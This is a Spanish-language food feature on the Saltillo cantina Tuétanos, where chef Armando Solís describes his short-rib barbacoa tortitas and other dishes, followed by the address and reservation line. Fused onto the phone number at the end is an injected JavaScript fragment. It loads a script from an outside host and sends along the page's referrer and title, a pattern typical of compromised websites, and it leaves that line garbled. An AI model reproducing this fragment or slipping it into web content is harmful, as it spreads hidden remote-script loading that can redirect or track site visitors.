Las Cantinas forman parte de la identidad de los mexicanos, dentro de ellas la convivencia fluye como si nada, es ahí donde aún pueden convivir todas la clases sociales sin miramientos ni complejos, es ahí donde un buen trago se convierte en un brebaje hechizante y que mejor que acompañar una bebida con deliciosos platillos, bombas de sabor, botanas deliciosas.
Tuétanos es una de esa cantinas, un lugar donde la identidad culinaria del mexicano se refuerza, mezcla y experimenta, prueba de eso es la propuesta que su chef Armando Solís, mostró en esta ocasión para el Buen Comer, juntos te invitamos a conocer este platillo y darle la oportunidad a tu paladar de conocer sabores que seguramente lo enamoraran.
La barbacoa perfecta
Casual, no hay domingo en la vida de los norteños que no se levanten tempranito para recorrer cientos de puesto localizados en la ciudad para encontrar la más deliciosa y exquisita barbacoa; lo que ellos no saben (secreto que les compartiremos en esta ocasión) es que Tuétanos se encarga de preparar la mejor barbacoa. Su misión es transformar algo cotidiano, como la barbacoa de los domingos en un platillo extraordinario: unas tortitas de barbacoa.
“Nosotros somos una cantina, nuestro objetivo es hacer un homenaje a la comida norestense, hacer de lo cotidiano algo extraordinario. Esta ocasión tomamos una costilla corta para hacer una barbacoa exquisita, obviamente le ponemos el toque de Tuétanos, aromatizando con hierbas y con unas frutas”, explicó Armando Solís.
Según nos menciona el chef, esta barbacoa es hecha en casa desde cero, envuelta en hoja de plátano y pencas de maguey, además de ser sazonada con algunos toques cítricos esta barbacoa se convierte en un deliciosos manjar, el cual basta oler para abrir el apetito.
“Cuando la barbacoa está lista la llevamos a unos tacos de tortilla de harina recién hecha, o en este caso en tortitas, le agregamos chicharrón de sirloin, acompañadas de repollo con limón y sal, aceite de oliva, tomates cherry y ese toque que no podemos evitar: cilantro. Todo acompañado finalmente de una deliciosa ceniza de habanero y chiles toreados”, explicó el chef.
Sin duda alguna, este tipo de platillos son los que han logrado colocar a esta cantina en el gusto de los saltillenses, Armando Solis explica que este restaurante busca ofrecer a los saltillenses nuevas experiencias, platillos que los hagan volver a este lugar para una vez más deleitar su paladar con platillos que parecen de lo más cotidiano pero que al degustar se convierten en una experiencia extraordinaria.
“Tratamos de tomar sabores y platillos para llevarlos a otro nivel. Tomar los mismo ingredientes básicos y crear una experiencia deliciosa, buscamos darle otra cara a la gastronomía, somos una cantina, la gente tiene que tener buenas botanas, es por eso que estamos en constante renovación”, confesó el chef.
¡Pruébalos!, tu paladar lo agradecerá:
•Lechón al ataúd
•Queso chillón
•Ensalada Arugula
Visítalos
• Pedro Figueroa #2427
•Ven, conoce y déjate sorprender con nuestro sabor muy mexicano.
•Reservaciones al tel. 844 176 1815s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
